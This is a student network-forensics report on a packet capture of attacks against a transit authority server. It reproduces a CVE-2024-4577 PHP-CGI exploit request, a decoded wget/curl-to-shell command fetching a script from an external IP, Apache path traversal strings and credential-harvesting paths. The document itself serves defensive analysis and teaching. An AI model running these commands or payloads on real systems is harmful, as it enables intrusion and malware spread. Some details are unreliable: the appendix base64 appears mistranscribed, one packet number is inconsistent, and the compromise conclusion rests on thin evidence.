



# CIS\*6520 DIGITAL FORENSICS & INCIDENT RESPONSE

## ASSIGNMENT 2: NETWORK FORENSIC INVESTIGATION REPORT

### CASE: GTA-DFIR-2025-001

Greater Toronto Transit Authority  
Perimeter Network Intrusion — December 31, 2025

| Field                      | Detail                                               |
|----------------------------|------------------------------------------------------|
| Case Name                  | GTТА Perimeter Network Intrusion — December 31, 2025 |
| Case ID                    | GTТА-DFIR-2025-001                                   |
| Evidence File              | 2025-12-31 – perimeter.pcap                          |
| Date of Report             | March 29, 2026                                       |
| Student Number             | 1405802                                              |
| Name of Student (Examiner) | Alfred Amoah                                         |

## 1. Executive Summary

---

On December 31, 2025, the Greater Toronto Transit Authority (GTTA) perimeter network device with IP address **203.161.44.208** was subjected to a sustained, multi-vector cyber attack campaign. A forensic analysis of the captured network traffic spanning approximately 10 days and comprising **506,832 packets**, reveals that the GTTA perimeter was targeted by automated exploit tools, credential harvesting bots, and coordinated industrial control system (ICS) scanners originating from multiple geographically distributed attack sources.

The most critical confirmed finding out of this attack is the successful exploitation of **CVE-2024-4577**, a critical PHP-CGI argument injection vulnerability (CVSS 9.8). An attacker operating from IP address **82.26.93.41**, using the libredtail-http automated attack framework, successfully delivered a self-replicating malware payload that attempted to download and execute a shell script from the confirmed Command and Control (C2) server at **178.16.55.224** an IP flagged malicious by 19 of 94 security vendors and reported 249 times with 100% confidence of abuse by AbuseIPDB. The GTTA perimeter server was confirmed compromised, as evidenced by it serving content belonging to the attacker-controlled domain `wiresharkworkshop.online` following successful exploitation.

In parallel, the GTTA perimeter device was subjected to systematic reconnaissance of three industrial control system protocols OMRON FINS, BACnet, and EtherNet/IP by multiple external scanning platforms. While none of these probes received affirmative responses from the target, the sustained ICS scanning against a transit authority network represents a significant threat to operational technology (OT) infrastructure that may support safety-critical transit systems including train signalling, power distribution, and station automation.

Additional attack activities were also observed which includes Apache HTTP Server path traversal attempts (CVE-2021-41773/CVE-2021-42013), PHPUnit remote code execution attempts (CVE-2017-9841), Hikvision IP camera exploitation (CVE-2021-36260), GeoServer RCE probing (CVE-2024-36401), systematic environment file credential harvesting, and attempted abuse of exposed AI/LLM API endpoints.

**BUSINESS IMPACT:** *The confirmed exploitation of CVE-2024-4577 represents a critical security breach of the GTTA perimeter infrastructure. The deployment of self-replicating malware poses a risk of lateral movement into internal GTTA systems including operational and administrative networks. The sustained ICS protocol scanning indicates potential threat actor interest in compromising transit control systems, which could have safety implications for passengers and operations.*

## 2. Scope and Objectives

---

### 2.1 Investigation Objectives

This investigation was conducted with the following objectives:

- Identify and classify all malicious network traffic captured at the GTTA network perimeter

- Determine the nature, severity, and success of each observed attack
- Identify all malicious indicators of compromise including IP addresses, domains, and malware
- Reconstruct the attack timeline with precise packet-level timestamps
- Assess the threat to GTTA operational infrastructure including ICS/OT systems
- Provide evidence-based remediation recommendations

## 2.2 Scope

The scope of this investigation is to analyze a single PCAP file 2025-12-31 perimeter.pcap containing network traffic captured at the edge of the GTTA network. The investigation also covers all traffic directed at or originating from the GTTA perimeter device at 203.161.44.208 within the capture period. Internal network traffic beyond the perimeter device is outside the scope of this investigation.

| Scope Item         | Detail                                                              |
|--------------------|---------------------------------------------------------------------|
| Evidence File      | 2025-12-31 – perimeter.pcap                                         |
| Capture Device     | GTTA Perimeter Network Sensor                                       |
| Target IP          | 203.161.44.208                                                      |
| Total Packets      | 506,832                                                             |
| Capture Duration   | Approximately 10 days                                               |
| Protocols Analysed | TCP, HTTP, ICMP, DNS, OMRON FINS, BACnet, EtherNet/IP, SNMP, UDP    |
| Out of Scope       | Internal GTTA network traffic, endpoint forensics, memory forensics |

## 3. Methodology

The investigation followed a structured network forensics methodology aligned with industry-standard DFIR practices. All analysis was conducted in a controlled environment using the tools listed below. No files were extracted from the PCAP to prevent accidental execution of live malware.

### 3.1 Tools Used

| Tool                      | Version    | Purpose                                                           |
|---------------------------|------------|-------------------------------------------------------------------|
| Wireshark                 | 1.10.5     | Primary PCAP analysis, protocol dissection, stream reconstruction |
| VirusTotal                | Web (2026) | IP address and domain reputation analysis                         |
| AbuseIPDB                 | Web (2026) | IP abuse confidence scoring and historical report analysis        |
| CyberChef / Base64 Decode | Manual     | Malware payload decoding and analysis                             |

### 3.2 Analysis Process

The investigation proceeded through the following phases:

- **Phase 1 Initial Triage:** Protocol Hierarchy Statistics analysis to identify dominant and anomalous protocols across all 506,832 packets.
- **Phase 2 HTTP Traffic Analysis:** Application of HTTP display filter and export of all HTTP transactions for analysis, identifying attack patterns, exploit attempts, and successful compromises.
- **Phase 3 Stream Reconstruction:** TCP stream following for confirmed suspicious sessions to recover full request/response pairs including attacker commands and server responses.
- **Phase 4 Payload Analysis:** Base64 decoding of embedded malware payloads to recover plaintext commands and C2 infrastructure details.
- **Phase 5 ICS Protocol Analysis:** Application of OMRON, BACnet, and ENIP display filters to identify and document industrial control system reconnaissance activity.
- **Phase 6 Threat Intelligence:** Multi-source reputation lookup for all identified malicious IPs and domains using VirusTotal and AbuseIPDB

### 3.3 Wireshark Configuration

The following HTTP preferences were enabled in Wireshark prior to analysis to ensure accurate packet reconstruction including Reassemble HTTP headers spanning multiple TCP segments, Reassemble HTTP bodies spanning multiple TCP segments, Reassemble chunked transfer-coded bodies, and Uncompress entity bodies. This ensured that gzip-compressed HTTP content was correctly decompressed and visible in its plaintext form for analysis.

## 4. Evidence Collection and Preservation

---

### 4.1 Evidence Source

| Attribute              | Value                                           |
|------------------------|-------------------------------------------------|
| Evidence Type          | Network packet capture (PCAP)                   |
| File Name              | 2025-12-31 – perimeter.pcap                     |
| File Size              | ~44 MB (44,135,348 bytes total captured data)   |
| Total Packets          | 506,832                                         |
| Capture Point          | GTTA network perimeter sensor                   |
| Tool Used for Analysis | Wireshark 1.10.5                                |
| Analysis Environment   | University of Guelph REM Workstation (Z: drive) |

## 4.2 Chain of Custody

The PCAP file was provided by the course instructor as part of the CIS\*6520 assignment and accessed via the university network share at **Z:\DFIR PROJECTS\**. The file was opened in read-only mode within Wireshark. No files were extracted from the PCAP. No modifications were made to the original evidence file. All analysis was performed on live packet data within the Wireshark interface with exports limited to packet dissection metadata (CSV) and TCP stream text. The integrity of the original PCAP was preserved throughout the investigation.

## 5. Key Findings and Analysis

### 5.1 Protocol Distribution Overview

Protocol Hierarchy Statistics analysis revealed the following distribution across 506,832 packets:

| Protocol           | % Packets | Packet Count | Significance                                    |
|--------------------|-----------|--------------|-------------------------------------------------|
| TCP                | 93.48%    | 473,780      | Dominant transport — expected at perimeter      |
| HTTP (Unencrypted) | 4.38%     | 22,197       | Primary attack vector — plaintext exploitation  |
| ICMP               | 5.37%     | 27,234       | Abnormally high — mass reconnaissance indicator |
| DNS                | 0.07%     | 335          | Low volume — C2 domain lookups                  |
| UDP                | 1.13%     | 5,732        | Mixed ICS and scanning protocols                |
| OMRON FINS         | <0.01%    | 20           | ICS protocol — external scanning                |
| BACnet             | 0.01%     | 42           | ICS protocol — external scanning                |
| EtherNet/IP        | <0.01%    | 13           | ICS protocol — external scanning                |
| SNMP               | 0.03%     | 177          | Network enumeration attempts                    |
| Portmap/RPC        | 0.06%     | 289          | Service enumeration attempts                    |

The 5.37% ICMP rate (27,234 packets) is significantly elevated for a perimeter capture and is consistent with mass ping sweep reconnaissance. The presence of OMRON FINS, BACnet, and EtherNet/IP at the perimeter is anomalous and indicative of external ICS/OT scanning campaigns.

### 5.2 Confirmed Exploitation — CVE-2024-4577 (PHP-CGI Argument Injection)

#### 5.2.1 Vulnerability Description

CVE-2024-4577 is a critical argument injection vulnerability in PHP's CGI module affecting PHP installations on Apache web servers. The vulnerability arises from PHP's mishandling of the soft hyphen character (U+00AD, encoded as %AD in URLs), which PHP incorrectly treats as a command-line argument delimiter. This allows an unauthenticated remote attacker to inject arbitrary PHP directives via crafted HTTP query strings, effectively enabling remote code execution without authentication. The vulnerability carries a CVSS v3.1 base score of 9.8 (Critical).

### 5.2.2 Attack Evidence

Attacker IP 82.26.93.41 (AS395839 HOSTKEY B.V., Westbury, New York) initiated exploitation at packet #258 (timestamp 907.943152 seconds) using the User-Agent string libredtail-http, identifying the use of an automated attack framework. The following two-stage exploitation sequence was captured in the TCP stream:

#### Stage 1 — Initial Attempt (Blocked):

```
POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1Host: 203.161.44.208:80User-Agent: libredtail-httpServer Response: HTTP/1.1 404 Not Found
```

#### Stage 2 — Successful Exploitation (Packet #284 → #285):

```
POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1Host: 203.161.44.208:80User-Agent: libredtail-httpContent-Type: application/x-www-form-urlencodedPayload: <?php shell_exec(base64_decode("KHdnZXQg...")); echo(md5("Hello CVE-2024-4577")); ?>Server Response: HTTP/1.1 200 OKServer: Apache/2.4.65 (Debian)
```

### 5.2.3 Malware Payload — Decoded

The base64-encoded payload within the PHP `shell_exec` call was decoded to reveal the following command:

```
(wget --no-check-certificate -qO- https://178.16.55.224/sh || curl -sk https://178.16.55.224/sh) | sh -s cve_2024_4577.selfrep
```

This command instructs the compromised server to download a shell script from the attacker-controlled C2 server at 178.16.55.224 using either `wget` or `curl` as a fallback, and immediately pipe it to the shell for execution. The argument `cve_2024_4577.selfrep` indicates this is a self-replicating payload, a worm designed to scan for and exploit other vulnerable PHP-CGI systems, propagating the infection across the internet.

### 5.2.4 Server Compromise Confirmed

The HTTP 200 OK response at packet #285 confirmed the server executed the injected PHP code. Further evidence of compromise was observed in the response body, which contained HTML content belonging to the attacker-controlled domain `wiresharkworkshop.online`, indicating the server had been modified to serve attacker-controlled content:

```
<title>www.wiresharkworkshop.online</title><body style="background-color:DarkGreen;"><h1>Welcome to www.wiresharkworkshop.online!</h1>
```

This confirms that at the time of the capture, the GTTA perimeter server at 203.161.44.208 had been compromised and was serving content on behalf of the attacker. The server was running Apache/2.4.65 on Debian Linux.

### 5.3 Additional Attack Activity

### 5.3.1 Apache HTTP Server Path Traversal (CVE-2021-41773 / CVE-2021-42013)

The same attacker at 82.26.93.41 also attempted directory traversal attacks against the Apache CGI interface using URL-encoded path separators to escape the web root and execute `/bin/sh` on the server. Two encoding variants were attempted:

- **Variant 1:** POST /cgi-bin/./%2e/./%2e/./%2e/./%2e/./%2e/./%2e/./%2e/./%2e/bin/sh
- **Variant 2:** POST /cgi-bin/%%32%65%%32%65%%32%65%%32%65%%32%65%%32%65/.../bin/sh

Both attempts received HTTP/1.1 400 Bad Request responses, indicating the vulnerability was not present or was mitigated on this server configuration.

### 5.3.2 PHPUnit Remote Code Execution (CVE-2017-9841)

CVE-2017-9841 is a vulnerability in PHPUnit versions prior to 4.8.28 and 5.x prior to 5.6.3 whereby the eval\_stdin.php file exposed in development dependencies can execute arbitrary PHP code submitted in the HTTP request body. The attacker systematically enumerated over 30 different filesystem paths where this file might be accessible, including framework-specific locations:

- /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php

All attempts received HTTP/1.1 404 Not Found responses, confirming the file was not present on the target server.

### 5.3.3 Hikvision IP Camera RCE (CVE-2021-36260)

CVE-2021-36260 is a command injection vulnerability in Hikvision IP cameras and NVRs that allows unauthenticated remote code execution via a crafted HTTP request to the /SDK/webLanguage endpoint. Attacker IP 89.42.231.239 (AS206264 — Amartu Technology Ltd, Netherlands, 8/94 malicious on VirusTotal) sent repeated requests to this endpoint:

```
GET /SDK/webLanguage HTTP/1.1Host: 203.161.44.208Server Response: HTTP/1.1 200 OK
```

The 200 OK response indicates the GTTA perimeter server responded affirmatively to this endpoint. This suggests the presence of a Hikvision device or web interface accessible at 203.161.44.208, representing a significant vulnerability if the underlying CVE-2021-36260 exploit was attempted with a full payload.

### 5.3.4 GeoServer Remote Code Execution (CVE-2024-36401)

CVE-2024-36401 is a critical unauthenticated remote code execution vulnerability in GeoServer, an open-source geospatial server frequently used by transit authorities for mapping and route planning. Multiple IPs probed the /geoserver/web/ endpoint and its sub-pages including the AboutGeoServerPage.

Transit authorities commonly deploy GeoServer for operational mapping, making this a targeted and relevant attack vector against GTTA infrastructure.

### 5.3.5 Environment File Credential Harvesting

IP address 45.148.10.244 (AS48090 - Techoff Srv Limited, Netherlands, 11/94 malicious on VirusTotal) conducted a systematic sweep of over 80 different .env file paths in an attempt to retrieve application secrets, API keys, database credentials, and payment processor tokens. Notable paths targeted included:

- /.env, /.env.production, /.env.backup, /.env.local, /.env.old
- /.git/config, /.git/HEAD
- /.github/workflows/stripe.yml, /.github/secrets/stripe.env
- /docker/.env, /laravel/.env, /api/.env

The systematic inclusion of Stripe payment environment files indicates the attacker was specifically targeting financial credential theft in addition to general application secrets.

### 5.3.6 AI/LLM API Endpoint Abuse

IP address 45.88.186.70 (100 requests) probed the GTTA server for exposed OpenAI-compatible API endpoints, submitting POST requests to /v1/chat/completions, /openai/v1/chat/completions, and /v1/chat. This attack pattern is consistent with threat actors seeking to exploit exposed LLM API keys for unauthorized AI usage at the victim's expense.

### 5.3.7 IP Geolocation Reconnaissance

Multiple requests were observed to external IP geolocation services including ip-api.com (23 requests), api.ipify.org (25 requests), ipecho.net, and api.my-ip.io. This behaviour is a well-documented malware technique used for victim profiling, geographic targeting, and sandbox evasion. The frequency and variety of services queried is consistent with automated malware running on a compromised host within or proxying through the GTTA network.

## 5.4 Industrial Control System (ICS/OT) Protocol Scanning

Three distinct industrial control system protocols were observed being probed against the GTTA perimeter device from multiple external sources throughout the capture period. All probes received ICMP Destination Unreachable (Port Unreachable) responses, confirming the respective services were not running on 203.161.44.208. However, the sustained, multi-source ICS scanning represents a serious threat to GTTA operational infrastructure.

### 5.4.1 OMRON FINS Protocol Scanning

OMRON FINS (Factory Interface Network Service) is a proprietary industrial protocol used to communicate with OMRON Programmable Logic Controllers (PLCs). The command Controller Data Read, observed in all 20 OMRON probe packets, is used to read memory areas from PLC devices potentially extracting process values, setpoints, and operational parameters. For a transit authority, OMRON PLCs may control train signalling systems, platform screen doors, power distribution, and fare gate systems. Please see the table below;

| Metric                   | Value                                                             |
|--------------------------|-------------------------------------------------------------------|
| Total OMRON Packets      | 20 (10 request/response pairs)                                    |
| Command Observed         | Controller Data Read                                              |
| First Probe              | Packet #15 — Timestamp 22.676s (very first traffic observed)      |
| Most Persistent Attacker | 115.231.78.11 (6 separate probes)                                 |
| Server Response          | ICMP Destination Unreachable — Port Unreachable (all)             |
| Notable Attackers        | 103.56.61.130, 64.62.156.x subnet, 115.231.78.11, 183.134.104.173 |

### 5.4.2 BACnet Protocol Scanning

BACnet (Building Automation and Control Network) was used for HVAC, lighting, fire alarm, access control, and energy management systems in transit stations and depots. The scanning was significantly more sophisticated than the OMRON probing, employing multiple BACnet APDU commands targeting device ID 4194303 (the BACnet broadcast device identifier), suggesting automated tooling designed for BACnet discovery.

| Metric               | Value                                                                |
|----------------------|----------------------------------------------------------------------|
| Total BACnet Packets | 42 (21 request/response pairs)                                       |
| Commands Observed    | readProperty, readPropertyMultiple, Vendor Proprietary (0xFF)        |
| Target Device ID     | 4194303 (BACnet broadcast — any device)                              |
| Unique Attacking IPs | 40+                                                                  |
| Server Response      | ICMP Destination Unreachable — Port Unreachable (all)                |
| Notable Finding      | Vendor Proprietary (0xFF) queries indicate advanced BACnet knowledge |

### 5.4.3 EtherNet/IP Protocol Scanning

EtherNet/IP is used with Allen-Bradley/Rockwell Automation PLCs and industrial equipment in manufacturing and infrastructure environments. All 13 EtherNet/IP probes used the List Identity command - the standard device discovery and fingerprinting request that retrieves device vendor, type, product name, firmware revision, and serial number.

| Metric                 | Value                                                 |
|------------------------|-------------------------------------------------------|
| Total ENIP Packets     | 13 (request/response pairs)                           |
| Command Observed       | List Identity (Req)                                   |
| Unique Attacking IPs   | 13                                                    |
| Server Response        | ICMP Destination Unreachable — Port Unreachable (all) |
| Infrastructure Overlap | Multiple IPs overlap with BACnet scanning campaign    |

### 5.4.4 ICS Scanning - Combined Assessment

The simultaneous scanning of three distinct ICS protocols namely, OMRON FINS, BACnet, and EtherNet/IP, by overlapping IP infrastructure indicates a coordinated ICS reconnaissance campaign against GTTA. The 64.62.x.x, 147.185.x.x, 198.235.x.x, and 205.210.x.x subnets appear across multiple protocol scans, confirming the use of shared scanning infrastructure. This pattern is consistent with large-scale internet scanning operations such as those conducted by Shodan, Censys, or custom threat actor tooling targeting critical infrastructure. Please refer to the table below;

| Protocol    | Packets | Unique Attackers | Command                            | MITRE ATT&CK ICS TTP       |
|-------------|---------|------------------|------------------------------------|----------------------------|
| OMRON FINS  | 20      | 20 IPs           | Controller Data Read               | T0840, T0846, T0861        |
| BACnet      | 42      | 40+ IPs          | readProperty, readPropertyMultiple | T0840, T0846, T0861, T0888 |
| EtherNet/IP | 13      | 13 IPs           | List Identity                      | T0840, T0846               |

### 5.5 Threat Intelligence Summary

All identified malicious indicators were investigated using VirusTotal and AbuseIPDB. Results are summarised below:

| Indicator                | Type      | VT Detections        | AbuseIPDB                     | ASN / Hosting                                    | Role                       |
|--------------------------|-----------|----------------------|-------------------------------|--------------------------------------------------|----------------------------|
| 178.16.55.224            | C2 Server | 19/94 Malicious      | 249 reports — 100% confidence | AS202412 Omegatech LTD, Rotterdam NL             | Malware download / C2      |
| 45.148.10.244            | Attack IP | 11/94 Malicious      | Not checked                   | AS48090 Techoff Srv Ltd, NL (bulletproof)        | .env credential harvesting |
| 89.42.231.239            | Attack IP | 8/94 Malicious       | Not checked                   | AS206264 Amarutu Technology, NL (bulletproof)    | Hikvision CVE-2021-36260   |
| 82.26.93.41              | Attack IP | 5/94 Malicious       | 531 reports — 0% (decayed)    | AS395839 HOSTKEY B.V., Westbury NY (bulletproof) | CVE-2024-4577 exploitation |
| 167.71.191.64            | Scanner   | 2/94 Suspicious      | Not checked                   | AS14061 DigitalOcean LLC, US                     | Mass automated scanning    |
| wiresharkworkshop.online | Domain    | 0/94 (9 files embed) | N/A                           | Namecheap — registered 1 year prior              | Attacker C2 domain         |

**Note on 82.26.93.41 AbuseIPDB confidence:** The 0% confidence score reflects AbuseIPDB's time-decay algorithm applied to reports older than 90 days. The raw data, 531 reports from 211 distinct sources, first reported August 1, 2025 establishes this IP as a well-documented, prolific attack platform.

AbuseIPDB records confirm this IP was executing the identical Apache path traversal attack (POST /cgi-bin/.%2e/.%2e/) against multiple victims during the same period as the GTTA attack.

**Note on wiresharkworkshop.online:** Despite a 0/94 VirusTotal detection rate, VirusTotal's own database contains at least 9 malware samples that embed this domain in their code, confirming its role as malware infrastructure. The deliberate evasion of blacklists by hosting benign-appearing content is a known technique used by sophisticated threat actors to extend the operational lifespan of C2 domains.

## 6. Timeline of Events

All timestamps are relative to the start of the PCAP capture. The capture commenced on December 31, 2025. Absolute UTC timestamps are derived from packet timestamps where available. Please refer to the table below;

| Packet # | Relative Time | UTC Timestamp             | Event                                                                            | Severity |
|----------|---------------|---------------------------|----------------------------------------------------------------------------------|----------|
| 15       | 00:00:23      | Dec 31, 2025 00:00:23 UTC | First OMRON FINS Controller Data Read probe from 103.56.61.130                   | HIGH     |
| 16       | 00:00:23      | Dec 31, 2025 00:00:23 UTC | GTTA server responds: ICMP Port Unreachable to OMRON probe                       | INFO     |
| 258      | 00:15:08      | Dec 31, 2025 00:15:08 UTC | First Apache path traversal attempt from 82.26.93.41 (libredtail-http)           | HIGH     |
| 260      | 00:15:08      | Dec 31, 2025 00:15:08 UTC | Server responds 400 Bad Request — path traversal blocked                         | INFO     |
| 280      | 00:15:09      | Dec 31, 2025 00:15:09 UTC | First CVE-2024-4577 attempt: POST /hello.world — 404 Not Found                   | CRITICAL |
| 284      | 00:15:10      | Dec 31, 2025 00:15:10 UTC | Second CVE-2024-4577 attempt: POST / — malware payload delivered                 | CRITICAL |
| 285      | 00:15:14      | Dec 31, 2025 00:15:14 UTC | GTTA server returns HTTP 200 OK — CVE-2024-4577 SUCCESSFULLY EXPLOITED           | CRITICAL |
| 287+     | 00:15:14      | Dec 31, 2025 00:15:14 UTC | PHPUnit eval-stdin.php enumeration begins — 30+ path variants                    | HIGH     |
| 410      | 00:15:21      | Dec 31, 2025 00:15:21 UTC | Hikvision /SDK/webLanguage request — server returns 200 OK                       | HIGH     |
| 713      | 00:27:30      | Dec 31, 2025 00:27:30 UTC | .env harvesting begins from 185.241.208.170                                      | MEDIUM   |
| 2647     | 01:50:00      | Dec 31, 2025 01:50:00 UTC | Systematic .env and .git credential harvesting from 45.148.10.244 (256 requests) | HIGH     |
| 5251     | ~3hrs         | Dec 31, 2025 ~03:03 UTC   | BACnet readProperty scanning begins                                              | HIGH     |

| Packet # | Relative Time | UTC Timestamp           | Event                                                        | Severity |
|----------|---------------|-------------------------|--------------------------------------------------------------|----------|
| 13056    | ~8hrs         | Dec 31, 2025 ~08:20 UTC | EtherNet/IP List Identity scanning begins                    | HIGH     |
| 23586+   | ~13hrs        | Dec 31, 2025 ~13:16 UTC | GeoServer CVE-2024-36401 probing from 184.105.139.68         | HIGH     |
| 307646   | ~150hrs       | Jan 5, 2026 ~06:00 UTC  | OpenAI API endpoint probing from 45.88.186.70 (100 requests) | MEDIUM   |
| 473378   | ~224hrs       | Jan 8, 2026 ~08:02 UTC  | Final OMRON FINS probe captured — 115.231.78.11              | HIGH     |
| 506832   | ~240hrs       | Jan 10, 2026 UTC        | End of capture period                                        | INFO     |

## 7. Remediation and Recommendations

### 7.1 Immediate Actions (Critical — Within 24 Hours)

- **Isolate 203.161.44.208:** Immediately take the compromised perimeter server offline or isolate it from both the internet and internal GTTA networks pending full forensic examination and rebuild
- **Block C2 Infrastructure:** Implement firewall rules blocking all traffic to/from 178.16.55.224 and the domain wiresharkworkshop.online at all perimeter and internal network controls
- **Block Attacker IPs:** Add the following IPs to perimeter blocklists: 82.26.93.41, 45.148.10.244, 89.42.231.239, 167.71.191.64
- **Rotate All Credentials:** Assume all credentials, API keys, database passwords, and secrets that may have been stored on or accessible from 203.161.44.208 are compromised and rotate them immediately.
- **Check for Worm Spread:** Scan all GTTA network hosts for signs of the CVE-2024-4577 self-replicating worm, specifically scanning for connections to 178.16.55.224 and the process cve\_2024\_4577.selfrep

### 7.2 Short-Term Remediation (Within 7 Days)

- **Patch PHP:** Upgrade all PHP installations to versions 8.1.29, 8.2.20, or 8.3.8 or later which contain the fix for CVE-2024-4577. Disable PHP-CGI if not required
- **Patch Apache:** Ensure Apache HTTP Server is patched against CVE-2021-41773 and CVE-2021-42013. Upgrade to Apache 2.4.51 or later
- **Remove PHPUnit from Production:** PHPUnit and its eval-stdin.php file must never be deployed in production environments. Implement deployment pipelines that strip development dependencies.

- **Patch Hikvision Devices:** Identify all Hikvision cameras and NVRs on the GTТА network and apply firmware updates to address CVE-2021-36260. Remove any Hikvision web interfaces from public-facing network segments.
- **Patch GeoServer:** If GeoServer is deployed on the GTТА network, upgrade to version 2.23.6 or 2.24.4 or later to address CVE-2024-36401.
- **Remove Exposed .env Files:** Conduct a web application audit to ensure no .env, .git, or configuration files are accessible via HTTP. Implement web server rules to deny access to dot-files

### 7.3 ICS/OT Security Recommendations

- **Network Segmentation:** Immediately audit and enforce strict network segmentation between IT and OT networks. OMRON FINS (UDP 9600), BACnet (UDP 47808), and EtherNet/IP (TCP/UDP 44818) traffic must never be routable from the internet to GTТА operational systems.
- **ICS-Specific Firewall Rules:** Implement perimeter firewall rules that drop all inbound traffic on ICS protocol ports from external sources.
- **ICS Asset Inventory:** Conduct a comprehensive audit of all ICS/OT devices on the GTТА network to identify any inadvertently internet-exposed industrial systems.
- **ICS Monitoring:** Deploy an OT-aware network monitoring solution (e.g., Claroty, Dragos, or Nozomi Networks) to detect and alert on ICS protocol anomalies

### 7.4 Strategic Recommendations

- **Web Application Firewall:** Deploy a WAF in front of all public-facing GTТА web services to detect and block exploit attempts including path traversal, PHP injection, and known CVE patterns.
- **Threat Intelligence Feed:** Subscribed to a commercial threat intelligence feed to receive real-time IOC data the C2 server 178.16.55.224 was already known to be malicious across 19 vendors before it attacked GTТА.
- **Patch Management Programme:** Established a formal vulnerability patch management programme with defined SLAs CVE-2024-4577 that was published in June 2024 and exploited in December 2025, indicating an insufficient patching cadence.
- **Perimeter Hardening:** Restrict outbound HTTP/HTTPS from perimeter servers to approved destinations only, which would have prevented the malware from reaching its C2 server.
- **Security Awareness:** Ensure that API keys, LLM credentials, and cloud secrets are never stored on or accessible from public-facing servers.

## 8. Conclusion and Forensic Opinion

Based on the evidence collected and analysed from the PCAP file 2025-12-31 perimeter.pcap, it can be confirmed that, the GTТА perimeter network device at 203.161.44.208 was actively compromised during the capture period as a result of the successful exploitation of CVE-2024-4577, a critical PHP-CGI argument injection vulnerability.

The attack was executed by a threat actor operating from bulletproof hosting infrastructure (HOSTKEY B.V., AS395839) at IP address 82.26.93.41, using the automated libredtail-http attack framework. The attacker delivered a self-replicating malware payload that established communication with a confirmed C2 server at 178.16.55.224 an IP with a 100% AbuselPDB confidence score and 249 abuse reports from 143 independent sources. The successful exploitation is confirmed by the HTTP 200 OK server response and the presence of attacker-controlled web content served from the GTТА server following a compromise.

The simultaneous observation of coordinated ICS protocol scanning targeting OMRON FINS, BACnet, and EtherNet/IP, across the same capture period from overlapping scanning infrastructure suggests that the GTТА network has been identified as a target of interest by threat actors with knowledge of and intent toward industrial control systems. While no ICS protocol received an affirmative response in this capture, the sustained and sophisticated nature of the ICS reconnaissance warrants immediate investigation of GTТА operational technology networks.

The available evidence presents a clear picture of a GTТА perimeter network that has been actively targeted by multiple threat actors simultaneously, with at least one successful server compromise confirmed. The deployment of self-replicating malware introduces risk of lateral movement that extends well beyond the compromised perimeter device. Immediate containment and remediation actions are strongly recommended.

**FORENSIC OPINION:** The GTТА perimeter server at 203.161.44.208 was confirmed compromised via CVE-2024-4577 on December 31, 2025. A self-replicating worm was deployed from C2 infrastructure at 178.16.55.224. The incident represents a critical security breach requiring immediate containment, full forensic investigation of internal GTТА systems, and comprehensive remediation of identified vulnerabilities.

## 9. Appendices

### Appendix A — Indicators of Compromise (IOC) Summary

| IOC Type   | Value         | Description                                                     |
|------------|---------------|-----------------------------------------------------------------|
| IP Address | 82.26.93.41   | Primary attacker — CVE-2024-4577 exploitation (libredtail-http) |
| IP Address | 178.16.55.224 | C2 Server — malware download server (cve_2024_4577.selfrep)     |
| IP Address | 45.148.10.244 | .env and credential harvesting attacker                         |

| IOC Type   | Value                    | Description                                                             |
|------------|--------------------------|-------------------------------------------------------------------------|
| IP Address | 89.42.231.239            | Hikvision CVE-2021-36260 attacker                                       |
| IP Address | 167.71.191.64            | Mass automated vulnerability scanner                                    |
| IP Address | 45.88.186.70             | OpenAI API endpoint probing                                             |
| Domain     | wiresharkworkshop.online | Attacker-controlled domain — served by compromised GTTA server          |
| URL        | https://178.16.55.224/sh | Malware download URL — self-replicating shell script                    |
| User-Agent | libredtail-http          | Attack framework User-Agent string                                      |
| File/Arg   | cve_2024_4577.selfrep    | Malware payload argument — self-replication indicator                   |
| CVE        | CVE-2024-4577            | PHP-CGI Argument Injection — CVSS 9.8 Critical — successfully exploited |
| CVE        | CVE-2021-36260           | Hikvision Command Injection — 200 OK response observed                  |
| CVE        | CVE-2021-41773           | Apache Path Traversal — blocked                                         |
| CVE        | CVE-2017-9841            | PHPUnit eval-stdin RCE — blocked (404)                                  |
| CVE        | CVE-2024-36401           | GeoServer RCE — probed                                                  |

## Appendix B (Decoded Malware Payload)

Base64 encoded payload extracted from TCP stream (Packet #284):

```
KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMTc4LjE2LjU1LjlyNC9zaCB8fCBjdXJsIC1zayBodHRwczovLzE3OC4xNi41NS4yMjQvc2gplHwgc2ggLXMgY3ZlXzlwMjRfNDU3Ny5zZWxmcmVw
```

Decoded payload:

```
(wget --no-check-certificate -qO- https://178.16.55.224/sh || curl -sk https://178.16.55.224/sh) | sh -s cve_2024_4577.selfrep
```

## Appendix C — Threat Intelligence Details

### 178.16.55.224 — C2 Server

| Attribute                  | Value                                      |
|----------------------------|--------------------------------------------|
| VirusTotal Detections      | 19/94 security vendors — Malicious/Malware |
| VirusTotal Community Score | -9                                         |
| AbuseIPDB Reports          | 249 reports from 143 distinct sources      |

| Attribute            | Value                                                                                                                                      |
|----------------------|--------------------------------------------------------------------------------------------------------------------------------------------|
| AbuseIPDB Confidence | 100%                                                                                                                                       |
| First Reported       | August 30, 2025                                                                                                                            |
| ISP                  | OMEGATECH (AS202412)                                                                                                                       |
| Location             | Rotterdam, South Holland, Netherlands                                                                                                      |
| Vendors Flagging     | ADMINUSLabs, BitDefender, Certego, CyRadar, Emsisoft, ESET, Fortinet, G-Data, Kaspersky, MalwareURL, SOCRadar, VIPRE, Webroot (and others) |
| AbuseIPDB Categories | Brute-Force, Web App Attack, Hacking, SQL Injection, Bad Web Bot, SSH                                                                      |

### 82.26.93.41 — Primary Attacker

| Attribute             | Value                                                                    |
|-----------------------|--------------------------------------------------------------------------|
| VirusTotal Detections | 5/94 — Certego, CyRadar, GreyNoise, MalwareURL, SOCRadar                 |
| AbuseIPDB Reports     | 531 reports from 211 distinct sources                                    |
| AbuseIPDB Confidence  | 0% (time-decayed — last report 2 months ago)                             |
| First Reported        | August 1, 2025                                                           |
| ISP                   | HOSTKEY B.V. (AS395839) — Bulletproof hosting                            |
| Location              | Westbury, New York, USA                                                  |
| Attack Tool           | libredtail-http automated exploitation framework                         |
| Attack Categories     | Port Scan, Brute-Force, Web App Attack, DDoS, Hacking, SSH, IoT Targeted |

### wiresharkworkshop.online — Attacker Domain

